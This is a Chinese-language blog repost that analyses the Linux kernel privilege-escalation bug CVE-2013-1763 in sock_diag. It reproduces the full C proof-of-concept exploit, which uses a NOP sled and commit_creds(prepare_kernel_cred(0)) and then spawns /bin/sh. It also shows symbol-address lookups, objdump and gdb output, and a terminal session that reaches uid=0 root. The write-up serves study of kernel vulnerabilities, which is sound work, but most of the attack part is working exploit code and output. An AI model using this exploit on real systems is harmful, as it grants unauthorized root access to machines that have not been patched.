转自:https://blog.csdn.net/u014089131/article/details/73933649

kernel 最近出了一个新的本地提权安全漏洞CVE-2013-1763,影响范围比较广泛,ubuntu,Arch,fedora都受到其影响,漏洞刚公布就有牛人发布了利用该漏洞获取root权限的攻击代码,下面会分析该代码是如何获取root权限的。

首先对CVE-2013-1763这个安全漏洞简单介绍一下。

1. 漏洞描述

在net/core/sock_diag.c中,__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查,导致可能越界,进而导致可执行代码的漏洞。没有root权限的用户可以利用该漏洞获取到root权限。

2. 漏洞的影响范围

linux kernel 3.0-3.7.10

3. 漏洞曝光时间

2013/02/19

4. 漏洞产生的原因

首先看一下这个漏洞的patch:

  1. net/core/sock_diag.c View file @ 6e601a5
  2. @@ -121,6 +121,9 @@ static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
  3. if (nlmsg_len(nlh) < sizeof(*req))
  4. return -EINVAL;
  5. +  if (req->sdiag_family >= AF_MAX)
  6. +    return -EINVAL;
  7. +
  8. hndl = sock_diag_lock_handler(req->sdiag_family);
  9. if (hndl == NULL)
  10. err = -ENOENT;

Patch 很简单,只是加上了数组边界判断而已。那么在看看sock_diag_lock_hander这个函数做了些什么:

  1. static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)
  2. {
  3. if (sock_diag_handlers[family] == NULL)
  4. request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
  5. NETLINK_SOCK_DIAG, family);
  6. mutex_lock(&sock_diag_table_mutex);
  7. return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界.
  8. }

这个函数也没有做什么,只是对 sock_diag_lock_hander[family]进行检测,是否为NULL,如果为NULL申请注册,然后加上了一把锁,最后返回的是它的地址。

  1. static struct sock_diag_handler *sock_diag_handlers[AF_MAX];  //可以看出,这个指针数组最大为AF_MAX AF_MAX = 40.

接着我们再看看完整的__sock_diag_rcv_msg函数。

  1. static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
  2. {
  3. int err;
  4. struct sock_diag_req *req = NLMSG_DATA(nlh);
  5. struct sock_diag_handler *hndl;
  6. if (nlmsg_len(nlh) < sizeof(*req))
  7. return -EINVAL;
  8. hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回数组指针sock_diag_handlers[reg->sdiag_family].由于没有做边界判断,那么就可以越界。
  9. if (hndl == NULL)
  10. err = -ENOENT;
  11. else
  12. err = hndl->dump(skb, nlh); //看到这里是不是很激动呢,利用这里可以让它执行我们自己的代码
  13. sock_diag_unlock_handler(hndl);
  14. return err;
  15. }

5. 漏洞的利用

虽然已经找到了kernel中有这样一个漏洞,但是如何利用这个漏洞来执行我们自己的程序,取得root权限还是需要很困难的,需要对kernel系统以及计算机运行原理非常了解才可以,并且这些程序往往需要精细设计才能达到最终的目的。 下面是某牛人写的exploit代码,请欣赏:

  1. /*
  2. * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
  3. * bug found by Spender
  4. * poc by SynQ
  5. *
  6. * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
  7. * using nl_table->hash.rehash_time, index 81
  8. *
  9. * Fedora 18 support added
  10. *
  11. * 2/2013
  12. */
  13. #include <unistd.h>
  14. #include <sys/socket.h>
  15. #include <linux/netlink.h>
  16. #include <netinet/tcp.h>
  17. #include <errno.h>
  18. #include <linux/if.h>
  19. #include <linux/filter.h>
  20. #include <string.h>
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <linux/sock_diag.h>
  24. #include <linux/inet_diag.h>
  25. #include <linux/unix_diag.h>
  26. #include <sys/mman.h>
  27. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  28. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  29. _commit_creds commit_creds;
  30. _prepare_kernel_cred prepare_kernel_cred;
  31. unsigned long sock_diag_handlers, nl_table;
  32. int __attribute__((regparm(3)))    //这是指示GCC编译器选用3个寄存器代替堆栈来传递参数。
  33. kernel_code()
  34. {
  35. commit_creds(prepare_kernel_cred(0));  //这行代码执行之后就可以获取root权限,但是这两个函数都是内核函数,必须在内核态执行才有效。
  36. return -1;
  37. }
  38. //这段函数没有使用,用来解释hard code jump[] 为什么是那些数值
  39. int jump_payload_not_used(void *skb, void *nlh)
  40. {
  41. asm volatile (
  42. "mov $kernel_code, %eax\n"
  43. "call *%eax\n"
  44. );
  45. }
  46. unsigned long
  47. get_symbol(char *name)  //为了获取内核函数地址
  48. {
  49. FILE *f;
  50. unsigned long addr;
  51. char dummy, sym[512];
  52. int ret = 0;
  53. f = fopen("/proc/kallsyms", "r");
  54. if (!f) {
  55. return 0;
  56. }
  57. while (ret != EOF) {
  58. ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
  59. if (ret == 0) {
  60. fscanf(f, "%s\n", sym);
  61. continue;
  62. }
  63. if (!strcmp(name, sym)) {
  64. printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
  65. fclose(f);
  66. return addr;
  67. }
  68. }
  69. fclose(f);
  70. return 0;
  71. }
  72. int main(int argc, char*argv[])
  73. {
  74. int fd;
  75. unsigned family;
  76. struct {
  77. struct nlmsghdr nlh;  //socket协议netlink数据包的格式
  78. struct unix_diag_req r;
  79. } req;
  80. char    buf[8192];
  81. //创建一个netlink协议的socket,因为__sock_diag_rcv_msg函数是属于NETLINK_SOCK_DIAG的
  82. if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
  83. printf("Can't create sock diag socket\n");
  84. return -1;
  85. }
  86. //填充数据包,就是为了最终能够执行到__sock_diag_rcv_msg中去
  87. memset(&req, 0, sizeof(req));
  88. req.nlh.nlmsg_len = sizeof(req);
  89. req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
  90. req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
  91. req.nlh.nlmsg_seq = 123456;
  92. //req.r.sdiag_family = 89;
  93. req.r.udiag_states = -1;
  94. req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
  95. if(argc==1){
  96. printf("Run: %s Fedora|Ubuntu\n",argv[0]);
  97. return 0;
  98. }
  99. else if(strcmp(argv[1],"Fedora")==0){
  100. commit_creds = (_commit_creds) get_symbol("commit_creds");
  101. prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
  102. sock_diag_handlers = get_symbol("sock_diag_handlers");
  103. nl_table = get_symbol("nl_table");
  104. if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
  105. printf("some symbols are not available!\n");
  106. exit(1);
  107. }
  108. family = (nl_table - sock_diag_handlers) / 4;
  109. printf("family=%d\n",family);
  110. req.r.sdiag_family = family;
  111. if(family>255){
  112. printf("nl_table is too far!\n");
  113. exit(1);
  114. }
  115. }
  116. else if(strcmp(argv[1],"Ubuntu")==0){
  117. commit_creds = (_commit_creds) 0xc106bc60;
  118. prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
  119. req.r.sdiag_family = 81;
  120. }
  121. unsigned long mmap_start, mmap_size;
  122. mmap_start = 0x10000;  //选择了一块1MB多的内存区域
  123. mmap_size = 0x120000;
  124. printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
  125. if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
  126. MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
  127. printf("mmap fault\n");
  128. exit(1);
  129. }
  130. memset((void*)mmap_start, 0x90, mmap_size);         //将其全部填充为0x90,在X86系统中对应的是NOP指令
  131. char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
  132. unsigned long *asd = &jump[4];
  133. *asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11
  134. //将jump这段代码放在mmap内存区域的最后,也就是说只要最后能够跳转到这块区域,就可以执行到jump代码,进而跳转执行kernel_code,因为这块区域中布满了NOP指令。
  135. memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
  136. //所有准备工作完成之后,最后在这里发送socket触发这个漏洞
  137. if ( send(fd, &req, sizeof(req), 0) < 0) {
  138. printf("bad send\n");
  139. close(fd);
  140. return -1;
  141. }
  142. printf("uid=%d, euid=%d\n",getuid(), geteuid() );
  143. if(!getuid())
  144. system("/bin/sh");
  145. }

6. exploit代码分析

在分析之前,有些概念要澄清一下,在linux系统中,用户空间和内核空间是独立存在的。在一个32位的linux系统中,每个进程会虚拟出4G的内存空间,其中3G是用户空间,1G是内核空间,用户空间的地址范围是0×00000000 到 0xBFFFFFFF,内核空间的地址是0xC0000000 到 0xFFFFFFFF。内核地址空间由所有进程共享,但只有运行在内核态的进程才能访问,用户进程可以通过系统调用切换到内核态访问内核空间,进程运行在内核态时所产生的地址都属于内核空间。

commit_creds 和prepare_kernel_cred 均为内核函数,如果要执行他们就应该切换到内核状态运行。当执行内核函数__sock_diag_rcv_msg是处于内核态的,所以这个时候调用执行kernel_code函数就可以取得root权限。

那么如何调用kernel_code函数呢?所有我们mmap了一块从0x10000开始0x120000大小的内存空间,然后将这块空间写满NOP指令,将跳转执行kernel_code的代码放在这块区域的最后面,也就是说,只要跳转执行到这块内存区域的(除了jump代码块内部)都会顺利跑到kernel_code函数。这种方法叫做NOP slide,就像坐滑滑梯一样,自然滑到底部。jump这一段代码的分析如下:

  1. char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
  2. unsigned long *asd = &jump[4];
  3. *asd = (unsigned long)kernel_code;
  4. int jump_payload_not_used(void *skb, void *nlh)
  5. {
  6. asm volatile (
  7. "mov $kernel_code, %eax\n"
  8. "call *%eax\n"
  9. );
  10. }
  11. fengguoqing@VirtualBox:~/Downloads$ gcc CVE-2013-1763.c
  12. CVE-2013-1763.c: In function ‘main’:
  13. CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]
  14. fengguoqing@VirtualBox:~/Downloads$ objdump -D a.out
  15. ….
  16. 08048763 <jump_payload_not_used>:
  17. 8048763:   55                      push   %ebp
  18. 8048764:   89 e5                   mov    %esp,%ebp
  19. 8048766:   b8 3c 87 04 08          mov    $0x804873c,%eax
  20. 804876b:   ff d0                   call   *%eax
  21. 804876d:   5d                      pop    %ebp
  22. 804876e:   c3                      ret
  23. ….
  24. (gdb) p/x jump
  25. $2 = {0x55, 0x89, 0xe5, 0xb8, 0x3c, 0x87, 0x4, 0x8, 0xff, 0xd0, 0x5d, 0xc3, 0x0} //最后发现0x11被填充成了kernel_code的地址
  26. (gdb) p kernel_code
  27. $4 = {int ()} 0x804873c <kernel_code>

问题的关键变成了如何才能跳转到这一块内存区域呢?先看看下面这结构体的定义:

  1. struct nlmsghdr {
  2. __u32       nlmsg_len;  /* Length of message including header */
  3. __u16       nlmsg_type; /* Message content */
  4. __u16       nlmsg_flags;    /* Additional flags */
  5. __u32       nlmsg_seq;  /* Sequence number */
  6. __u32       nlmsg_pid;  /* Sending process port ID */
  7. };
  8. struct unix_diag_req {
  9. __u8    sdiag_family;
  10. __u8    sdiag_protocol;
  11. __u16   pad;
  12. __u32   udiag_states;
  13. __u32   udiag_ino;
  14. __u32   udiag_show;
  15. __u32   udiag_cookie[2];
  16. };
  17. struct sock_diag_handler {
  18. __u8 family;//
  19. int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);
  20. };
  21. struct netlink_table {
  22. struct nl_portid_hash   hash; //取回这个值
  23. struct hlist_head       mc_list;
  24. struct listeners __rcu  *listeners;
  25. unsigned int            flags;
  26. unsigned int            groups;
  27. struct mutex            *cb_mutex;
  28. struct module           *module;
  29. void                    (*bind)(int group);
  30. int                     registered;
  31. };
  32. struct nl_portid_hash {
  33. struct hlist_head       *table; 四个字节
  34. unsigned long           rehash_time; //也是四个字节.0x00012b59//这个值在我们的那个范围内.
  35. unsigned int            mask;
  36. unsigned int            shift;
  37. unsigned int            entries;
  38. unsigned int            max_shift;
  39. u32                     rnd;
  40. };
  41. static struct netlink_table *nl_table;

我们的牛人发现了nl_table里面有一个变量rehash_time的值正好在0x10000-0x130000这个区域内,所以可以利用这个值来跳转,只需要将sock_diag_handlers[sdiag_family]-dump正好落在这个值上就可以了。如下图所示

所以我们需要先知道nl_table和sock_diag_handlers的地址,可以通过以下两种方式查看。

  1. cat /proc/kallsyms
  2. sudo cat /boot/System.map-3.2.0-43-generic-pae

但是在ubuntu系统中前一种方法无法查看到变量函数的地址,所以只有使用第二种方法了,由于 nl_table和sock_diag_handlers都是指针,所以他们的大小都是4个字节。于是就可以计算出 sdiag_family的取值了。

  1. fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep nl_table
  2. c189b5c0 d nl_table_lock
  3. c189b5c4 d nl_table_wait
  4. c1a488e0 b nl_table_users
  5. c1a488e4 b nl_table
  6. fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep sock_diag_handlers
  7. c1a487a0 b sock_diag_handlers
  8. (0xc1a488e4 - 0xc1a487a0) / 4 = 81L

至此所有的谜题都解开了,然后就可以高高兴兴的黑自己一把了:

  1. fengguoqing@VirtualBox:~/Downloads$ gcc -o CVE-2013-1763 CVE-2013-1763.c
  2. CVE-2013-1763.c: In function ‘main’:
  3. CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]
  4. fengguoqing@VirtualBox:~/Downloads$ id
  5. uid=1000(fengguoqing) gid=1000(fengguoqing) groups=1000(fengguoqing),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)
  6. fengguoqing@VirtualBox:~/Downloads$ ./CVE-2013-1763 Ubuntu
  7. mmapping at 0x10000, size = 0x120000
  8. uid=0, euid=0
  9. # id
  10. uid=0(root) gid=0(root) groups=0(root)
  11. #

由于在sock_diag_lock_handler中有mutex_lock(&sock_diag_table_mutex),但是我们在后面将程序引入到其他地方,并没有接着执行 mutex_unlock(&sock_diag_table_mutex),所以按道理只能root成功一次,但是我在测试中发现有时候可以root多次,有时候root一次之后就不能再root了,需要重启才可以重新root。

转载: https://my.oschina.net/fgq611/blog/156089

一则利用内核漏洞获取root权限的案例【转】的更多相关文章

  1. 获取root权限及破解原理分析

    2012-03-18 17:58:45|  分类: android |字号 订阅 如今Android系统的root破解基本上成为大家的必备技能!网上也有非常多中一键破解的软件,使root破解越来越ea ...

  2. [Android Pro] Android fastboot刷机和获取Root权限

    参考文章: https://developers.google.com/android/nexus/images 转载自:    http://www.inexus.co/article-1280-1 ...

  3. android中获取root权限的方法以及原理(转)

    一. 概述 本文介绍了android中获取root权限的方法以及原理,让大家对android 玩家中常说的“越狱”有一个更深层次的认识. 二. Root 的介绍 1. Root 的目的 可以让我们拥有 ...

  4. Linaro系统获取root权限方法

    在Zedboard上根据教程安装Linaro Ubuntu后出现一只无法获取Root权限,导致无法挂载U盘等问题. 具体体现在sudo -s命令之后,出现如sudo:must be setuid ro ...

  5. Android 获取ROOT权限原理解析

    一. 概述 本文介绍了android中获取root权限的方法以及原理,让大家对android玩家中常说的“越狱”有一个更深层次的认识. 二. Root的介绍 1.       Root 的目的 可以让 ...

  6. Android 上SuperUser获取ROOT权限原理解析

    Android 上SuperUser获取ROOT权限原理解析 一. 概述 本文介绍了android中获取root权限的方法以及原理,让大家对android 玩家中常说的“越狱”有一个更深层次的认识. ...

  7. Adb分析及获取root权限

    Adb的全称为Android Debug Bridge,起到通过PC对Android系统的调试桥的作用,是一个多用途的工具,它能够执行多种命令,还能提供一个shell.这儿简单介绍一下Adb的代码结构 ...

  8. Redis未授权访问写Webshell和公私钥认证获取root权限

    0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服 ...

  9. 华为U8810的用户如何获取ROOT权限详细教程

    由于在论坛里看到有人在找这个手机的详细的root教程,所以刷机啦小编在这里整理了一下方便新手来操作,其实这个手机root起来还是蛮简单的,只需要一个root软件就可以了,相当于一键root了,在这里整 ...

随机推荐

  1. 自制 h5 音乐播放器 可搜索

    闲言碎语: 有好几天没有发表博客了,这也是因为一直开发音乐和完善我的博客项目,好不容易抽出时间总结一下这几天所做的东西,笔试又不断通知,实则匆忙 今天难得逃了一次课,就趁这时间,该写写就写写吧~~ 进 ...

  2. python之路--day10-闭包函数

    1.命名关键字参数 格式:在*后面的参数都是命名关键字参数 特点: 1.必须被传值 2.约束函数的调用者必须按照key=value的形式传值 3.约束函数的调用者必须用我们指定的key名 def au ...

  3. python 编码规范整理

    PEP8 Python 编码规范 一 代码编排1 缩进.4个空格的缩进(编辑器都可以完成此功能),不要使用Tap,更不能混合使用Tap和空格.2 每行最大长度79,换行可以使用反斜杠,最好使用圆括号. ...

  4. STM32读取温湿度传感器DHT11和DHT21(AM2301)系列问题

    1.DHT11和DHT21传感器 这两种传感器都是奥松公司的产品,具体的传感器说明书在其官网上有(www.aosong.com). DHT11 数字温湿度传感器是一款含有已校准数字信号输出的温湿度复合 ...

  5. 新概念英语(1-131)Don't be so sure

    Lesson 131 Don't be so sure! 别那么肯定! Listen to the tape then answer this question. What's the problem ...

  6. OrientDB入门(1)Getting Started

    Running OrientDB the First Time First, download and extract OrientDB by selecting the appropriate pa ...

  7. 翻译:JVM虚拟机规范1.7中的运行时常量池部分(一)

    原文链接: https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-4.html#jvms-4.4 Java Virtual Machine i ...

  8. SpringMVC(四):@RequestMapping结合org.springframework.web.filter.HiddenHttpMethodFilter实现REST请求

    1)REST具体表现: --- /account/1  HTTP GET       获取id=1的account --- /account/1  HTTP DELETE 删除id=1的account ...

  9. 简单的sql调优(批处理)

    最近在写一个java的爬虫程序时,遇到了一个大量数据进行插入更新和大量数据循环查询的问题,所以查了一下一般的调优的方式,下面主要介绍我采取的调优措施. 一 .调优思路 先说说我采取方式的调优的思路,这 ...

  10. 如何设计一款APP,才能吸引用户眼球

    有APP分析机构研究表明,人们每天耗费在手机和平板上的平均时长为158分钟,其中127分钟是耗费在各类APP中,而仅有31分钟是花费在浏览网页上.随着人们对互联网的依赖性越来越强,移动APP发展迅速已 ...